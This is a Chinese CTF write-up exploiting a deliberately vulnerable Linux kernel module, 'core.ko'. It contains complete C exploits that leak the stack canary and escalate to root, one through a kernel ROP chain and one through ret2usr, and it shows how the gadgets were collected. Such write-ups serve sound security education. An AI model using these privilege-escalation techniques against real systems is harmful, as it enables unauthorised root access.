程序提取

提取镜像:

1
2
3
4
5
mkdir core
cd core
mv ../core.cpio core.cpio.gz
gunzip ./core.cpio.gz
cpio -idm < ./core.cpio

在目录下有一个 gen_cpio.sh ,内容如下:

1
2
3
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1

可以发现是一个方便打包的脚本,我们添加如下代码:

1
2
3
4
5
mv ../exp ./tmp/exp
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
mv core.cpio ../core.cpio

然后使用如下命令重打包:

1
./gen_cpio.sh core.cpio

之后修改 start.sh 脚本

1
2
3
4
5
6
7
8
sudo qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

运行即可

程序分析

ioctl 函数有三个功能:

Untitled 1.png

  • 0x6677889B :调用 core_read 函数
  • 0x6677889C :设置 off 变量
  • 0x6677889A :调用 core_copy_func 函数

其中 core_read 函数如下:

Untitled 2.png

其可以读出栈上的内容,用于泄漏 cannary

core_copy_func 函数如下:

Untitled 3.png

会从 name 开始读取 a1 长度的内容到栈上造成栈溢出

然后是 core_write 函数,可以向 name 处写入任意大小的数据

Untitled 4.png

漏洞利用

首先修改 init 脚本,使其以 root 启动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 0000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

注意到我们可以通过读取 /tmp/kallsyms 文件来得到函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
size_t commit_creds = 0, prepare_kernel_cred = 0;

size_t raw_vmlinux_base = 0xffffffff81000000, vmlinux_base;

void find_symbols(){
puts("[+] Open kallsyms fd");
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[-] Open kallsyms fd error!");
exit(1);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd)){
if(commit_creds & prepare_kernel_cred)
return;
if(strstr(buf, "commit_creds") && !commit_creds){
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%lx", &commit_creds);
printf("commit_creds addr: %lx\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %lx\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%lx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %lx\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[*]Error!");
exit(0);
}
}

然后通过一下命令获得 .text 段的地址

1
2
/ # cat /sys/module/core/sections/.text 
0xffffffffc02ec000

我们便可以在 gdb 中设置基地址

1
2
3
pwndbg> add-symbol-file ./core.ko 0xffffffffc018b000
pwndbg> target remote :1234
pwndbg> b core_read

回到漏洞利用,首先我们通过 ioctl 设置 off ,然后使用 core_read 函数来带出输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

void core_read(int fd, char *buf){
puts("[+] core_read");
ioctl(fd, 0x6677889B, buf);

}

void change_offset(int fd,int offset){
puts("[+] Change offset");
ioctl(fd,0x6677889c,offset);
}

int main(){
puts("[+] Open fd");
int fd = open("/proc/core", 2);

puts("[+] Change offset");
change_offset(fd,0x40);

puts("[+] Read");
char buf[0x40] = {0};
core_read(fd,buf);
size_t canary = ((size_t *)buf)[0];
printf("[+] Leak Canary: %lx\n", canary);
}

得到结果:

1
2
3
4
5
6
[+] Open fd
[+] Change offset
[+] Change offset
[+] Read
[+] core_read
[+] Leak Canary: 9c7b14464eca6b00

之后通过 core_writepayload 写入 name ,然后通过 core_copy_func 栈溢出来 rop 即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
// gcc exp.c -static -masm=intel -g -o exp
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t commit_creds = 0, prepare_kernel_cred = 0;

size_t raw_vmlinux_base = 0xffffffff81000000, vmlinux_base;

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[-] Spawn shell error!");
}
exit(1);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] Status has been saved.");
}

void find_symbols(){
puts("[+] Open kallsyms fd");
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[-] Open kallsyms fd error!");
exit(1);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd)){
if(commit_creds & prepare_kernel_cred)
return;
if(strstr(buf, "commit_creds") && !commit_creds){
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%lx", &commit_creds);
printf("[+] Get commit_creds addr: %lx\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("[+] Get vmlinux_base addr: %lx\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%lx", &prepare_kernel_cred);
printf("[+] Get prepare_kernel_cred addr: %lx\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[-] Find symbols error!");
exit(0);
}
}

void core_read(int fd, char *buf){
puts("[+] Call core_read");
ioctl(fd, 0x6677889B, buf);

}

void core_write(int fd, size_t *buf,int size){
puts("[+] Call core_write");
write(fd, buf, size);

}

void change_offset(int fd,int offset){
puts("[+] Change offset");
ioctl(fd,0x6677889c,offset);
}

void core_copy_func(int fd,long long size){
puts("[+] Call core_copy_func");
ioctl(fd,0x6677889A,size);
}

int main(){
save_status();
find_symbols();

puts("[+] Open fd");
int fd = open("/proc/core", 2);
if(fd < 0){
puts("[-] Open fd error!");
exit(1);
}

change_offset(fd,0x40);

char buf[0x40] = {0};
core_read(fd,buf);
size_t canary = ((size_t *)buf)[0];
printf("[+] Leak Canary: %lx\n", canary);

size_t rop[0x1000] = {0};
int i = 0;

ssize_t offset = vmlinux_base - raw_vmlinux_base;

for(;i < 10; i++){
rop[i] = canary;
}

rop[i++] = offset + 0xffffffff81000b2f; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = offset + 0xffffffff810a0f49; // pop rdx; ret
rop[i++] = offset + 0xffffffff81021e53; // pop rcx; ret
rop[i++] = offset + 0xffffffff8101aa6a; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = offset + 0xffffffff81a012da; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = offset + 0xffffffff81050ac2; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

core_write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

其中的 gadgets 我们可以通过下面的指令收集:

1
ropper -f vmlinux --nocolor > gadget.txt

然后这里:

1
2
3
4
5
6
7
8
rop[i++] = offset + 0xffffffff81000b2f; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = offset + 0xffffffff810a0f49; // pop rdx; ret
rop[i++] = offset + 0xffffffff81021e53; // pop rcx; ret
rop[i++] = offset + 0xffffffff8101aa6a; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

之所以需要 pop rcx; ret 是因为 call rdx 的时候会将该指令的下一条指令 push 到栈顶(方便之后 ret 回来),所以其可以将下一条指令吃掉然后直接调用 commit_creds

至于之后的:

1
2
3
4
5
6
7
8
9
10
11
rop[i++] = offset + 0xffffffff81a012da; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = offset + 0xffffffff81050ac2; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

这是为了:

  1. 通过 swapgs 指令恢复用户态 GS 的值;
  2. 通过 sysretq 或者 iretq 指令恢复到用户控件继续执行;如果使用 iretq 指令则还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp等);比如这里利用的 iretq 指令,在栈中就给出 CS,rflags,sp,ss 等信息:

Ret2usr

另外还有一种 ret2usr 的做法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
// gcc exp.c -static -masm=intel -g -o exp
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t commit_creds = 0, prepare_kernel_cred = 0;

size_t raw_vmlinux_base = 0xffffffff81000000, vmlinux_base;

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[-] Spawn shell error!");
}
exit(1);
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] Status has been saved.");
}

void find_symbols(){
puts("[+] Open kallsyms fd");
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
if(kallsyms_fd < 0)
{
puts("[-] Open kallsyms fd error!");
exit(1);
}
char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd)){
if(commit_creds & prepare_kernel_cred)
return;
if(strstr(buf, "commit_creds") && !commit_creds){
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%lx", &commit_creds);
printf("[+] Get commit_creds addr: %lx\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("[+] Get vmlinux_base addr: %lx\n", vmlinux_base);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred){
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%lx", &prepare_kernel_cred);
printf("[+] Get prepare_kernel_cred addr: %lx\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
}
}

if(!(prepare_kernel_cred & commit_creds))
{
puts("[-] Find symbols error!");
exit(0);
}
}

void core_read(int fd, char *buf){
puts("[+] Call core_read");
ioctl(fd, 0x6677889B, buf);

}

void core_write(int fd, size_t *buf,int size){
puts("[+] Call core_write");
write(fd, buf, size);

}

void change_offset(int fd,int offset){
puts("[+] Change offset");
ioctl(fd,0x6677889c,offset);
}

void core_copy_func(int fd,long long size){
puts("[+] Call core_copy_func");
ioctl(fd,0x6677889A,size);
}

void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int main(){
save_status();
find_symbols();

puts("[+] Open fd");
int fd = open("/proc/core", 2);
if(fd < 0){
puts("[-] Open fd error!");
exit(1);
}

change_offset(fd,0x40);

char buf[0x40] = {0};
core_read(fd,buf);
size_t canary = ((size_t *)buf)[0];
printf("[+] Leak Canary: %lx\n", canary);

size_t rop[0x1000] = {0};
int i = 0;

ssize_t offset = vmlinux_base - raw_vmlinux_base;

for(;i < 10; i++){
rop[i] = canary;
}

rop[i++] = (size_t) get_root;

rop[i++] = offset + 0xffffffff81a012da; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = offset + 0xffffffff81050ac2; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

core_write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

可以很清楚的看出来其是先返回到了用户态然后再进行的commit_creds(prepare_kernel_cred(0))

ret2usr 攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作